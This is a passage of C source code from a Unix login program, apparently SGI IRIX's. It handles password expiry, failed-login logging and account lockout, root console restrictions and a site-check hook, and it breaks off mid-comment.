| 3067 | (now + ia_warn) >= (ia_lstchg + ia_max)) { | ||
| 3068 | |||
| 3069 | int xdays = (ia_lstchg + ia_max) - now; | ||
| 3070 | |||
| 3071 | if (xdays) { | ||
| 3072 | if (xdays == 1) | ||
| 3073 | (void) pfmt(stderr, MM_INFO, | ||
| 3074 | ":678:Your password will expire in 1 day\n"); | ||
| 3075 | else | ||
| 3076 | (void) pfmt(stderr, MM_INFO, | ||
| 3077 | ":327:Your password will expire in %d days\n", xdays); | ||
| 3078 | } | ||
| 3079 | else { | ||
| 3080 | pfmt(stderr, MM_ERROR, ":325:Your password has expired.\n"); | ||
| 3081 | pfmt(stderr, MM_ACTION, ":326:Choose a new one\n"); | ||
| 3082 | n = exec_pass(u_name); | ||
| 3083 | if (n > 0) { | ||
| 3084 | exit(9); | ||
| 3085 | } | ||
| 3086 | if (n < 0) { | ||
| 3087 | pfmt(stderr, MM_ERROR, badpasswd, ia_pwdpgm, | ||
| 3088 | strerror(errno)); | ||
| 3089 | exit(9); | ||
| 3090 | } | ||
| 3091 | paschg = 1; | ||
| 3092 | } | ||
| 3093 | } | ||
| 3094 | } | ||
| 3095 | |||
| 3096 | |||
| 3097 | |||
| 3098 | |||
| 3099 | /* | ||
| 3100 | * Procedure: init_badtry | ||
| 3101 | * | ||
| 3102 | * Restrictions: | ||
| 3103 | * stat(2): none | ||
| 3104 | * | ||
| 3105 | * Notes: if the logfile exist, turn on attempt logging and | ||
| 3106 | * initialize the string storage area. | ||
| 3107 | */ | ||
| 3108 | static int | ||
| 3109 | init_badtry(char **log_entry) | ||
| 3110 | { | ||
| 3111 | register int i, dolog = 0; | ||
| 3112 | struct stat dbuf; | ||
| 3113 | |||
| 3114 | if (stat(LOGINLOG, &dbuf) == 0) { | ||
| 3115 | dolog = 1; | ||
| 3116 | for (i = 0; i < Def_failures; i++) { | ||
| 3117 | if (!(log_entry[i] = (char *) malloc((unsigned)ENT_SIZE))) { | ||
| 3118 | dolog = 0 ; | ||
| 3119 | break ; | ||
| 3120 | } | ||
| 3121 | *log_entry[i] = '\0'; | ||
| 3122 | } | ||
| 3123 | } | ||
| 3124 | return dolog; | ||
| 3125 | } | ||
| 3126 | |||
| 3127 | |||
| 3128 | /* | ||
| 3129 | * Procedure: logbadtry | ||
| 3130 | * | ||
| 3131 | * Notes: Writes the failed login attempt to the storage area. | ||
| 3132 | */ | ||
| 3133 | static void | ||
| 3134 | logbadtry(int trys, char **log_entry) | ||
| 3135 | { | ||
| 3136 | long timenow; | ||
| 3137 | |||
| 3138 | if (trys && (trys <= Def_failures)) { | ||
| 3139 | (void) time(&timenow); | ||
| 3140 | (void) strncat(log_entry[trys-1], u_name, LNAME_SIZE); | ||
| 3141 | (void) strncat(log_entry[trys-1], ":", (size_t) 1); | ||
| 3142 | (void) strncat(log_entry[trys-1], rttyn, TTYN_SIZE); | ||
| 3143 | (void) strncat(log_entry[trys-1], ":", (size_t) 1); | ||
| 3144 | (void) strncat(log_entry[trys-1], ctime(&timenow), TIME_SIZE); | ||
| 3145 | } | ||
| 3146 | } | ||
| 3147 | |||
| 3148 | |||
| 3149 | /* | ||
| 3150 | * Procedure: on_console | ||
| 3151 | * | ||
| 3152 | * Notes: If the "priv_uid" is equal to the user's uid, the login | ||
| 3153 | * will be disallowed if the user is NOT on the system | ||
| 3154 | * console. | ||
| 3155 | */ | ||
| 3156 | static int | ||
| 3157 | on_console(uid_t priv_uid) | ||
| 3158 | { | ||
| 3159 | cap_t ocap; | ||
| 3160 | cap_value_t capv; | ||
| 3161 | |||
| 3162 | if (ia_uid == priv_uid) { | ||
| 3163 | if (Console && *Console && (strcmp(rttyn, Console) != 0)) { | ||
| 3164 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3165 | ia_audit("LOGIN", u_name, 0, | ||
| 3166 | "Root login on other than system console"); | ||
| 3167 | cap_surrender(ocap); | ||
| 3168 | return 0; | ||
| 3169 | } | ||
| 3170 | if (Def_supath && *Def_supath) | ||
| 3171 | Def_path = Def_supath; | ||
| 3172 | else | ||
| 3173 | Def_path = DEF_SUPATH; | ||
| 3174 | } | ||
| 3175 | return 1; | ||
| 3176 | } | ||
| 3177 | |||
| 3178 | |||
| 3179 | /* | ||
| 3180 | * Procedure: read_pass | ||
| 3181 | * | ||
| 3182 | * Notes: gets user password and checks if MANDPASS is required. | ||
| 3183 | * returns 1 on failure, 0 on success. | ||
| 3184 | */ | ||
| 3185 | static int | ||
| 3186 | read_pass(uid_t priv_uid, int *nopass) | ||
| 3187 | { | ||
| 3188 | char *ia_pwdp, | ||
| 3189 | *pwdmsgid = ":308", | ||
| 3190 | *pwdmsg = "Password:"; | ||
| 3191 | int mandatory = 0; | ||
| 3192 | cap_t ocap; | ||
| 3193 | cap_value_t capv; | ||
| 3194 | |||
| 3195 | ia_get_logpwd(uinfo, &ia_pwdp); | ||
| 3196 | |||
| 3197 | /* | ||
| 3198 | * if the user doesn't have a password check if the privilege | ||
| 3199 | * mechanism is ID-based. If so, its OK for a privileged user | ||
| 3200 | * not to have a password. | ||
| 3201 | * | ||
| 3202 | * If, however, the MANDPASS flag is set and this user doesn't | ||
| 3203 | * have a password, set a flag and continue on to get the | ||
| 3204 | * user's password. Otherwise, return success because its OK | ||
| 3205 | * not to have a password. | ||
| 3206 | */ | ||
| 3207 | if (*ia_pwdp == '\0') { | ||
| 3208 | if (ia_uid == priv_uid) | ||
| 3209 | return 0; | ||
| 3210 | if (Mandpass && *Mandpass && | ||
| 3211 | !strncasecmp("YES", Mandpass, 3)) { | ||
| 3212 | mandatory = 1; | ||
| 3213 | } | ||
| 3214 | else { | ||
| 3215 | return 0; | ||
| 3216 | } | ||
| 3217 | } | ||
| 3218 | #ifdef DCE | ||
| 3219 | dfs_authentication = 0; | ||
| 3220 | if (strcmp(ia_pwdp,"-DCE-") == 0) { | ||
| 3221 | void *handle=NULL; | ||
| 3222 | /* | ||
| 3223 | * Try to load the DCE library and ensure that | ||
| 3224 | * dce_verify exists. | ||
| 3225 | */ | ||
| 3226 | if (handle=sgidladd("libdce.so",RTLD_LAZY)) { | ||
| 3227 | if (dlsym(handle,"dce_verify")) { | ||
| 3228 | dfs_authentication = 1; | ||
| 3229 | } else { | ||
| 3230 | capv = CAP_AUDIT_WRITE; | ||
| 3231 | ocap = cap_acquire (1, &capv); | ||
| 3232 | ia_audit("LOGIN", u_name, 0, | ||
| 3233 | "DCE integrated login failed, incorrect DCE library"); | ||
| 3234 | cap_surrender(ocap); | ||
| 3235 | } | ||
| 3236 | } else { | ||
| 3237 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3238 | ia_audit("LOGIN", u_name, 0, | ||
| 3239 | "DCE integrated login failed, unable to load DCE library"); | ||
| 3240 | cap_surrender(ocap); | ||
| 3241 | } | ||
| 3242 | } | ||
| 3243 | #endif /* DCE */ | ||
| 3244 | /* | ||
| 3245 | * get the user's password, turning off echoing. | ||
| 3246 | */ | ||
| 3247 | if (gpass(gettxt(pwdmsgid, pwdmsg), ia_pwdp, priv_uid)) { | ||
| 3248 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3249 | ia_audit("LOGIN", u_name, 0, "Invalid password"); | ||
| 3250 | cap_surrender(ocap); | ||
| 3251 | return 1; | ||
| 3252 | } | ||
| 3253 | /* | ||
| 3254 | * Doesn't matter if the user entered No password. Since MANDPASS | ||
| 3255 | * was set, make it look like a bad login attempt. | ||
| 3256 | */ | ||
| 3257 | if (mandatory) { | ||
| 3258 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3259 | ia_audit("LOGIN", u_name, 0, | ||
| 3260 | "Passwords are mandatory, but this account has none"); | ||
| 3261 | cap_surrender(ocap); | ||
| 3262 | return 1; | ||
| 3263 | } | ||
| 3264 | /* | ||
| 3265 | * everything went fine, so indicate that the user had a password | ||
| 3266 | * and return success. | ||
| 3267 | */ | ||
| 3268 | else { | ||
| 3269 | *nopass = 0; | ||
| 3270 | return 0; | ||
| 3271 | } | ||
| 3272 | } | ||
| 3273 | |||
| 3274 | |||
| 3275 | /* | ||
| 3276 | * Procedure: get_logoffval | ||
| 3277 | * | ||
| 3278 | * Notes: The following is taken directly from the SVR4.1 require- | ||
| 3279 | * ments relating to the functionality of the MAXTRYS and | ||
| 3280 | * LOGFAILURES tuneables: | ||
| 3281 | * | ||
| 3282 | * 1. Users will be allowed LOGFAILURES (will be set to 5) | ||
| 3283 | * attempts to successfully log in at each invocation of | ||
| 3284 | * login. | ||
| 3285 | * | ||
| 3286 | * 2. If the file LOGINLOG (will be defined to be | ||
| 3287 | * /var/adm/loginlog) exists, all LOGFAILURES consecutive | ||
| 3288 | * unsuccessful login attempts will be logged in | ||
| 3289 | * LOGINLOG. After LOGFAILURES unsuccessful attempts, | ||
| 3290 | * login will sleep for DISABLETIME before dropping the | ||
| 3291 | * line. In other words, if a person tried five times, | ||
| 3292 | * unsuccessfully, to log in at a terminal, all five | ||
| 3293 | * attempts will be logged in /var/adm/loginlog if it | ||
| 3294 | * exists. The login command will then sleep for | ||
| 3295 | * DISABLETIME seconds and drop the line. On the other | ||
| 3296 | * hand, if a person has one or two unsuccessful | ||
| 3297 | * attempts, none of them will be logged. | ||
| 3298 | * | ||
| 3299 | * => Note: Since LOGFAILURES can now be set by the | ||
| 3300 | * administrator, it may be set to 1 so that any number | ||
| 3301 | * of failed login attempts are recorded. When either | ||
| 3302 | * MAXTRYS or LOGFAILURES is reached login will exit | ||
| 3303 | * and the user will be disconnected from the system. | ||
| 3304 | * The difference being that in the case of | ||
| 3305 | * LOGFAILURES, a record of bad login attempts are | ||
| 3306 | * recorded in the system logs. | ||
| 3307 | * | ||
| 3308 | * 3. by default, MAXTRYS and LOGFAILURES will be set to 5, | ||
| 3309 | * | ||
| 3310 | * 4. if set, MAXTRYS must be >= 0. If MAXTRYS=0 and | ||
| 3311 | * LOGFAILURES is not set, then login will not kick the | ||
| 3312 | * user off the system (unlimited attempts will be | ||
| 3313 | * allowed). | ||
| 3314 | * | ||
| 3315 | * 5. if set, LOGFAILURES must be within the range of 0-20. | ||
| 3316 | * If LOGFAILURES is = 0, and MAXTRYS is not set, then | ||
| 3317 | * login will not kick off the user (unlimited attempts | ||
| 3318 | * will be allowed). | ||
| 3319 | * | ||
| 3320 | * 6. if LOGFAILURES or MAXTRYS are not set, then | ||
| 3321 | * respectively, the effect will be as if the item were | ||
| 3322 | * set to 0, | ||
| 3323 | * | ||
| 3324 | * 7. the lowest positive number of MAXTRYS and LOGFAILURES | ||
| 3325 | * will be the number of failed login attempts allowed | ||
| 3326 | * before the appropriate action is taken (e.g. 1, | ||
| 3327 | * MAXTRYS = 3 and LOGFAILURES=6 then the user will be | ||
| 3328 | * kicked off the system after 3 bad login attempts and | ||
| 3329 | * IN NO CASE shall bad login records end up in the | ||
| 3330 | * system log file (var/adm/loginlog). e.g. 2, MAXTRYS=6 | ||
| 3331 | * and LOGFAILURES=3, then the user will be kicked off | ||
| 3332 | * the system after 3 bad login attempts and at that | ||
| 3333 | * point in time, 3 records will be recorded in the | ||
| 3334 | * system log file.) | ||
| 3335 | * | ||
| 3336 | * 8. in the case when both values are equal, then the | ||
| 3337 | * action of LOGFAILURES will dominate (i.e., a record of | ||
| 3338 | * the bad login attempts will be recorded in the log | ||
| 3339 | * files). | ||
| 3340 | */ | ||
| 3341 | static long | ||
| 3342 | get_logoffval(void) | ||
| 3343 | { | ||
| 3344 | if (Def_maxtrys == Def_failures) /* #8 */ | ||
| 3345 | return Def_failures; | ||
| 3346 | |||
| 3347 | if (!Def_maxtrys && (Def_failures < 2)) /* #4, #5, and #6 */ | ||
| 3348 | return 0; | ||
| 3349 | |||
| 3350 | if (Def_maxtrys < Def_failures) { /* #7, example 1 */ | ||
| 3351 | Def_failures = 0; | ||
| 3352 | return Def_maxtrys; | ||
| 3353 | } | ||
| 3354 | /* | ||
| 3355 | * Def_maxtrys MUST be greater than Def_failures so | ||
| 3356 | * return Def_failures! | ||
| 3357 | */ | ||
| 3358 | return Def_failures; /* #7, example 2 */ | ||
| 3359 | } | ||
| 3360 | |||
| 3361 | |||
| 3362 | /* | ||
| 3363 | * Procedure: at_shell_level | ||
| 3364 | * | ||
| 3365 | * Restrictions: | ||
| 3366 | * getutxent: P_MACREAD | ||
| 3367 | * | ||
| 3368 | * Notes: determines if the login scheme was called by the user at | ||
| 3369 | * the shell level. If so, this is forbidden. | ||
| 3370 | */ | ||
| 3371 | static int | ||
| 3372 | at_shell_level(void) | ||
| 3373 | { | ||
| 3374 | #ifndef EXECSH | ||
| 3375 | register struct utmpx *u; | ||
| 3376 | pid_t tmppid; | ||
| 3377 | |||
| 3378 | tmppid = getppid(); | ||
| 3379 | |||
| 3380 | /* | ||
| 3381 | * Find the entry for this pid in the utmp file. | ||
| 3382 | */ | ||
| 3383 | |||
| 3384 | while ((u = getutxent()) != NULL) { | ||
| 3385 | if (((u->ut_type == INIT_PROCESS || | ||
| 3386 | u->ut_type == LOGIN_PROCESS) && | ||
| 3387 | (u->ut_pid == tmppid)) || | ||
| 3388 | ((u->ut_type == USER_PROCESS) && | ||
| 3389 | (u->ut_pid == tmppid) && | ||
| 3390 | (!strncmp(u->ut_user, ".", 1)))) { | ||
| 3391 | |||
| 3392 | break; | ||
| 3393 | } | ||
| 3394 | } | ||
| 3395 | endutxent(); /* Close utmp file */ | ||
| 3396 | |||
| 3397 | if (u == (struct utmpx *)NULL) | ||
| 3398 | return 1; | ||
| 3399 | #endif /* !EXECSH */ | ||
| 3400 | return 0; | ||
| 3401 | } | ||
| 3402 | |||
| 3403 | /* | ||
| 3404 | * Put string in SYSLOG on failure | ||
| 3405 | */ | ||
| 3406 | |||
| 3407 | static void | ||
| 3408 | failure_log(void) | ||
| 3409 | { | ||
| 3410 | if (syslog_fail) { | ||
| 3411 | openlog("login", LOG_PID, LOG_AUTH); | ||
| 3412 | if (rflag_set || hflag) { | ||
| 3413 | syslog(LOG_INFO|LOG_AUTH, "failed: %s@%s as %s", | ||
| 3414 | hflag ? "?" : rusername, remotehost, u_name); | ||
| 3415 | } else | ||
| 3416 | syslog(LOG_NOTICE|LOG_AUTH, "failed: %s on %s", | ||
| 3417 | u_name, ttyn); | ||
| 3418 | closelog(); | ||
| 3419 | } | ||
| 3420 | } | ||
| 3421 | |||
| 3422 | /* | ||
| 3423 | * display pre-prompt messages | ||
| 3424 | */ | ||
| 3425 | |||
| 3426 | static void | ||
| 3427 | early_advice(int rflag, int hflag) | ||
| 3428 | { | ||
| 3429 | FILE *fp; | ||
| 3430 | char inputline[MAXLINE]; | ||
| 3431 | cap_t ocap; | ||
| 3432 | cap_value_t capv; | ||
| 3433 | |||
| 3434 | if (rflag || hflag) { | ||
| 3435 | /* If rlogins are disabled, print out the message. */ | ||
| 3436 | if ((fp = fopen(_PATH_NOLOGIN,"r")) != NULL) { | ||
| 3437 | while (fgets(inputline,sizeof(inputline),fp) != NULL) { | ||
| 3438 | fputs(inputline,stdout); | ||
| 3439 | putc('\r',stdout); | ||
| 3440 | } | ||
| 3441 | fflush(stdout); | ||
| 3442 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3443 | ia_audit("LOGIN", u_name, 0, "Remote logins disabled"); | ||
| 3444 | cap_surrender(ocap); | ||
| 3445 | sleep(5); | ||
| 3446 | exit(1); | ||
| 3447 | } | ||
| 3448 | |||
| 3449 | /* Print out the issue file. */ | ||
| 3450 | |||
| 3451 | if ((fp = fopen(_PATH_ISSUE,"r")) != NULL) { | ||
| 3452 | while (fgets(inputline,sizeof(inputline),fp) != NULL) { | ||
| 3453 | fputs(inputline,stdout); | ||
| 3454 | putc('\r',stdout); | ||
| 3455 | } | ||
| 3456 | /* | ||
| 3457 | * Insert extra newline otherwise gpass prints | ||
| 3458 | * passwdmsg and puts cursor at beginning of the line. | ||
| 3459 | */ | ||
| 3460 | putc('\n',stdout); | ||
| 3461 | fclose(fp); | ||
| 3462 | } | ||
| 3463 | } | ||
| 3464 | } | ||
| 3465 | |||
| 3466 | /* | ||
| 3467 | * set_uthost() is called only for remote logins. It constructs the | ||
| 3468 | * ut_host string for the current utmpx entry. | ||
| 3469 | * - If the remote and local usernames are different, it copies the | ||
| 3470 | * remote username followed by an '@', then the remotehostname into | ||
| 3471 | * ut_hostp. The entire remote hostname is saved; the remote user | ||
| 3472 | * is truncated as necessary. | ||
| 3473 | * - if the local and remote usernames match, only the remotehostname | ||
| 3474 | * is copied. | ||
| 3475 | * | ||
| 3476 | * Note that `rusername', `luser', and `remotehost' must be initialized | ||
| 3477 | * before set_uthost() is invoked. | ||
| 3478 | */ | ||
| 3479 | static int | ||
| 3480 | set_uthost( | ||
| 3481 | char *ut_hostp, /* constructed ut_host string is copied here */ | ||
| 3482 | int uthlen) /* max strlen(ut_hostp) allowed */ | ||
| 3483 | { | ||
| 3484 | int rhostlen, ccnt; | ||
| 3485 | int rumaxlen; /* max # of chars to grab from ruser */ | ||
| 3486 | |||
| 3487 | ut_hostp[0] = '\0'; | ||
| 3488 | if (remotehost[0] == '\0') { /* ???? */ | ||
| 3489 | return(0); | ||
| 3490 | } | ||
| 3491 | |||
| 3492 | rhostlen = strlen(remotehost); | ||
| 3493 | rumaxlen = 0; | ||
| 3494 | if (rhostlen < (uthlen-1) && /* only room for '@' if 1 shorter; */ | ||
| 3495 | rusername[0]!='\0' && luser[0]!='\0' && strcmp(rusername,luser)) { | ||
| 3496 | rumaxlen = (uthlen - rhostlen - 1); | ||
| 3497 | } | ||
| 3498 | |||
| 3499 | ccnt = sprintf(ut_hostp, "%.*s%s%.*s", rumaxlen, rusername, | ||
| 3500 | (rumaxlen > 0 ? "@" : ""), uthlen, remotehost); | ||
| 3501 | return(ccnt); | ||
| 3502 | } | ||
| 3503 | |||
| 3504 | |||
| 3505 | |||
| 3506 | |||
| 3507 | |||
| 3508 | #ifdef AUX_SECURITY | ||
| 3509 | |||
| 3510 | static unsigned char | ||
| 3511 | dositecheck(void) | ||
| 3512 | { | ||
| 3513 | auto int wstatus; | ||
| 3514 | struct stat sbuf; | ||
| 3515 | char *newargv[5]; | ||
| 3516 | pid_t sitepid, rv; | ||
| 3517 | int i; | ||
| 3518 | cap_t ocap; | ||
| 3519 | cap_value_t capv; | ||
| 3520 | |||
| 3521 | i = 0; | ||
| 3522 | newargv[i++] = Def_sitepath; | ||
| 3523 | newargv[i++] = u_name; | ||
| 3524 | if (remotehost[0] != '\0') { | ||
| 3525 | newargv[i++] = (char *) remotehost; | ||
| 3526 | } | ||
| 3527 | if (rusername[0] != '\0') { | ||
| 3528 | newargv[i++] = (char *) rusername; | ||
| 3529 | } | ||
| 3530 | |||
| 3531 | newargv[i] = NULL; | ||
| 3532 | |||
| 3533 | /* | ||
| 3534 | * Enforce security items. Check that the program is owned by root, | ||
| 3535 | * and is not world-writable. Return SITE_CONTINUE if it is not, | ||
| 3536 | * thus causing a traditional unix authentication. | ||
| 3537 | */ | ||
| 3538 | |||
| 3539 | if (stat(Def_sitepath,&sbuf) != 0) { | ||
| 3540 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3541 | ia_audit("LOGIN", u_name, 0, "cannot access sitecheck"); | ||
| 3542 | cap_surrender(ocap); | ||
| 3543 | return SITE_CONTINUE; | ||
| 3544 | } | ||
| 3545 | |||
| 3546 | if (sbuf.st_uid != 0) { | ||
| 3547 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3548 | ia_audit("LOGIN", u_name, 0, "bad sitecheck ownership"); | ||
| 3549 | cap_surrender(ocap); | ||
| 3550 | return SITE_CONTINUE; | ||
| 3551 | } | ||
| 3552 | |||
| 3553 | if (sbuf.st_mode & 0022) { | ||
| 3554 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3555 | ia_audit("LOGIN", u_name, 0, "bad sitecheck permissions"); | ||
| 3556 | cap_surrender(ocap); | ||
| 3557 | return SITE_CONTINUE; | ||
| 3558 | } | ||
| 3559 | /* fork, exec, and wait for return code of siteprog */ | ||
| 3560 | |||
| 3561 | switch (sitepid = fork()) { | ||
| 3562 | case -1: | ||
| 3563 | return(SITE_FAIL); | ||
| 3564 | case 0: | ||
| 3565 | signal(SIGALRM, SIG_DFL); | ||
| 3566 | signal(SIGHUP, SIG_DFL); | ||
| 3567 | execv(Def_sitepath, newargv); | ||
| 3568 | capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv); | ||
| 3569 | ia_audit("LOGIN", u_name, 0, "can't exec sitecheck program"); | ||
| 3570 | cap_surrender(ocap); | ||
| 3571 | return(SITE_CONTINUE); | ||
| 3572 | } | ||
| 3573 | |||
| 3574 | rv = waitpid(sitepid, &wstatus, 0); | ||
| 3575 | if (rv < 0) | ||
| 3576 | return SITE_FAIL; | ||
| 3577 | else if (WIFEXITED(wstatus)) | ||
| 3578 | return WEXITSTATUS(wstatus); | ||
| 3579 | else { | ||
| 3580 | if (WCOREDUMP(wstatus)) | ||
| 3581 | return SITE_CONTINUE; | ||
| 3582 | else | ||
| 3583 | return SITE_FAIL; | ||
| 3584 | } | ||
| 3585 | } | ||
| 3586 | #endif /* AUX_SECURITY */ | ||
| 3587 | |||
| 3588 | /* | ||
| 3589 | * Return the value of the requested variable in the environment string. | ||
| 3590 | */ | ||
| 3591 | static char * | ||
| 3592 | getsenv(char *varname, char **envp) | ||
| 3593 | { | ||
| 3594 | int s = strlen(varname); | ||
| 3595 | char *ep; | ||
| 3596 | |||
| 3597 | for (ep = *envp; ep = *envp; envp++) { | ||
| 3598 | if (strncmp(varname, ep, s)) | ||
| 3599 | continue; | ||
| 3600 | if (ep[s] != '=') | ||
| 3601 | continue; | ||
| 3602 | return (ep + s + 1); | ||
| 3603 | } | ||
| 3604 | return (NULL); | ||
| 3605 | } | ||
| 3606 | |||
| 3607 | |||
| 3608 | #define BL_WRITE 1 | ||
| 3609 | #define BL_LOCK 2 | ||
| 3610 | #define BL_BADFILE 3 | ||
| 3611 | #define BL_BADLOCK 4 | ||
| 3612 | #define BL_LOCK_BADFILE 5 | ||
| 3613 | |||
| 3614 | /* | ||
| 3615 | * Call update_count and log result to syslog and system audit trail. | ||
| 3616 | */ | ||
| 3617 | static void | ||
| 3618 | count_badlogins(int outcome, char *username) | ||
| 3619 | { | ||
| 3620 | cap_t ocap; | ||
| 3621 | cap_value_t capv = CAP_AUDIT_WRITE; | ||
| 3622 | |||
| 3623 | if (Lockout <= 0) | ||
| 3624 | return; | ||
| 3625 | |||
| 3626 | switch(update_count(outcome, username)) { | ||
| 3627 | case BL_LOCK: | ||
| 3628 | syslog(LOG_NOTICE|LOG_AUTH, "Locked %s account\n", username); | ||
| 3629 | ocap = cap_acquire (1, &capv); | ||
| 3630 | ia_audit("LOGIN", username, 1, "Locked account"); | ||
| 3631 | cap_surrender(ocap); | ||
| 3632 | break; | ||
| 3633 | case BL_BADFILE: | ||
| 3634 | ocap = cap_acquire (1, &capv); | ||
| 3635 | ia_audit("LOGIN", username, 0, "Can't update badlogin file"); | ||
| 3636 | cap_surrender(ocap); | ||
| 3637 | syslog(LOG_ALERT|LOG_AUTH, "Can't update %s badlogin count", | ||
| 3638 | username); | ||
| 3639 | break; | ||
| 3640 | case BL_BADLOCK: | ||
| 3641 | ocap = cap_acquire (1, &capv); | ||
| 3642 | ia_audit("LOGIN", username, 0, "Can't lock account"); | ||
| 3643 | cap_surrender(ocap); | ||
| 3644 | syslog(LOG_ALERT|LOG_AUTH, "Can't lock %s account", username); | ||
| 3645 | break; | ||
| 3646 | case BL_LOCK_BADFILE: | ||
| 3647 | ocap = cap_acquire (1, &capv); | ||
| 3648 | ia_audit("LOGIN", username, 0, | ||
| 3649 | "Locked account but can't update badlogin file"); | ||
| 3650 | cap_surrender(ocap); | ||
| 3651 | syslog(LOG_ALERT|LOG_AUTH, | ||
| 3652 | "Can't update %s badlogin count", username); | ||
| 3653 | break; | ||
| 3654 | default: | ||
| 3655 | break; | ||
| 3656 | } | ||
| 3657 | } | ||
| 3658 | |||
| 3659 | #define MATCH 1 | ||
| 3660 | #define NOMATCH 0 | ||
| 3661 | #define SKIP_DELIM(a) {while (*a && (*a == NAME_DELIM)) a++;} | ||
| 3662 | |||
| 3663 | static int | ||
| 3664 | notlockout(char *user) | ||
| 3665 | { | ||
| 3666 | char notlockname[LNAME_SIZE+1]; | ||
| 3667 | char * name_begin_ptr; | ||
| 3668 | char * name_delim_ptr; | ||
| 3669 | int namelen=0; | ||
| 3670 | |||
| 3671 | if (Def_notlockout == NULL) | ||
| 3672 | return (NOMATCH); | ||
| 3673 | |||
| 3674 | notlockname[0]='\0'; | ||
| 3675 | name_begin_ptr = Def_notlockout; | ||
| 3676 | SKIP_DELIM(name_begin_ptr); | ||
| 3677 | |||
| 3678 | /* Iterate through the list of names until we reach \0 */ | ||
| 3679 | while (*name_begin_ptr != NULL) { | ||
| 3680 | name_delim_ptr = strchr(name_begin_ptr,NAME_DELIM); | ||
| 3681 | |||
| 3682 | /* strchr didn't find any more delimiters, but we still | ||
| 3683 | * have to deal with the last name in the list | ||
| 3684 | */ | ||
| 3685 | if (name_delim_ptr != NULL) | ||
| 3686 | namelen = name_delim_ptr - name_begin_ptr; | ||
| 3687 | else | ||
| 3688 | namelen = strlen(name_begin_ptr); | ||
| 3689 | |||
| 3690 | /* name must be a valid length <= LNAME_SIZE, | ||
| 3691 | * we don't want to overflow on the stack, and we | ||
| 3692 | * don't want to just chop off the name at LNAME_SIZE | ||
| 3693 | * since that would invalidate the identity. | ||
| 3694 | */ | ||
| 3695 | if ((namelen > 0) && (namelen <=LNAME_SIZE)){ | ||
| 3696 | strncpy(notlockname, name_begin_ptr, namelen); | ||
| 3697 | notlockname[namelen]='\0'; | ||
| 3698 | if (strcmp(user, notlockname) == 0) | ||
| 3699 | return (MATCH); | ||
| 3700 | } | ||
| 3701 | /* Increment the name_begin_ptr, and handle | ||
| 3702 | * termination of the loop is there isn't | ||
| 3703 | * a match in the list. | ||
| 3704 | */ | ||
| 3705 | if (name_delim_ptr != NULL) { | ||
| 3706 | name_begin_ptr=name_delim_ptr; | ||
| 3707 | SKIP_DELIM(name_begin_ptr); | ||
| 3708 | } | ||
| 3709 | else | ||
| 3710 | name_begin_ptr = name_begin_ptr + namelen; | ||
| 3711 | } | ||
| 3712 | return (NOMATCH); | ||
| 3713 | } | ||
| 3714 | |||
| 3715 | |||
| 3716 | |||
| 3717 | /* | ||
| 3718 | * On successful login (outcome=1), reset count to zero. | ||
| 3719 | * Otherwise, increment count, test whether count has reached | ||
| 3720 | * Lockout value, and lock user's account if it has. | ||
| 3721 | */ | ||
| 3722 | static int | ||
| 3723 | update_count(int outcome, char *user) | ||
| 3724 | { | ||
| 3725 | char *badlogfile; | ||
| 3726 | int fd, retval, wstatus; | ||
| 3727 | short new = 0; | ||
| 3728 | short lockok = 0; | ||
| 3729 | char count; | ||
| 3730 | struct passwd *pw; | ||
| 3731 | struct stat bl_buf; | ||
| 3732 | |||
| 3733 | /* Validate that this user exists, we don't use uinfo (iaf) | ||
| 3734 | * structure here, because we're not guaranteed that it exists | ||
| 3735 | * when this routine is called. BUG #491422 | ||
| 3736 | */ | ||
| 3737 | pw = getpwnam(user); | ||
| 3738 | |||
| 3739 | /* Don't process LOCKOUT if the user doesn't exist. | ||
| 3740 | * BUG #491422 | ||
| 3741 | */ | ||
| 3742 | if (pw != NULL) { | ||
| 3743 | |||
| 3744 | /* | ||
| 3745 | * Open user's badlog file. | ||
| 3746 | */ | ||
| 3747 | if (access(BADLOGDIR, 0) < 0) { | ||
| 3748 | if (mkdir(BADLOGDIR, 0700) < 0) | ||
| 3749 | return(BL_BADFILE); | ||
| 3750 | } | ||
| 3751 | if ((badlogfile = (char *)malloc(sizeof(BADLOGDIR) + | ||
| 3752 | strlen(user) + 3)) == NULL) { | ||
| 3753 | return(BL_BADFILE); | ||
| 3754 | } | ||
| 3755 | sprintf(badlogfile, "%s/%s", BADLOGDIR, user); | ||
| 3756 | /* | ||
| 3757 | * If file is new, count is zero. | ||
| 3758 | * Use stat instead of access to avoid the real uid/gid | ||
| 3759 | * problems when login not started as root. BUG #506487 | ||
| 3760 | */ | ||
| 3761 | if (stat(badlogfile, &bl_buf) < 0) { | ||
| 3762 | new = 1; | ||
| 3763 | count = '\0'; | ||
| 3764 | } | ||
| 3765 | fd =open(badlogfile, O_RDWR | O_CREAT, 0600); | ||
| 3766 | free(badlogfile); | ||
| 3767 | if (fd < 0 || flock(fd, LOCK_EX) < 0) { | ||
| 3768 | close(fd); | ||
| 3769 | return(BL_BADFILE); | ||
| 3770 | } | ||
| 3771 | if (outcome == 0) { | ||
| 3772 | /* | ||
| 3773 | * Failed login: read count and seek back to start. | ||
| 3774 | */ | ||
| 3775 | if (!new && read(fd, &count, 1) != 1) { | ||
| 3776 | close(fd); | ||
| 3777 | return(BL_BADFILE); | ||
| 3778 | } | ||
| 3779 | if (lseek(fd, 0, SEEK_SET) < 0) { | ||
| 3780 | close(fd); | ||
| 3781 | return(BL_BADFILE); | ||
| 3782 | } | ||
| 3783 | /* | ||
| 3784 | * If updated count has reached Lockout value, | ||
| 3785 | * invoke passwd -l and reset count to zero - UNLESS | ||
| 3786 | * (UNLESS!) the user is on the LOCKOUTEXEMPT list in | ||
| 3787 | * the options file. Such a user will have his count | ||
| 3788 | * updated when a failed login attempt is made, but | ||
| 3789 | * will not be locked out when the Lockout count is | ||
| 3790 | * exceeded. This feature is the result of Bug 491422, | ||
| 3791 | * to address the denial of service attacks possible | ||
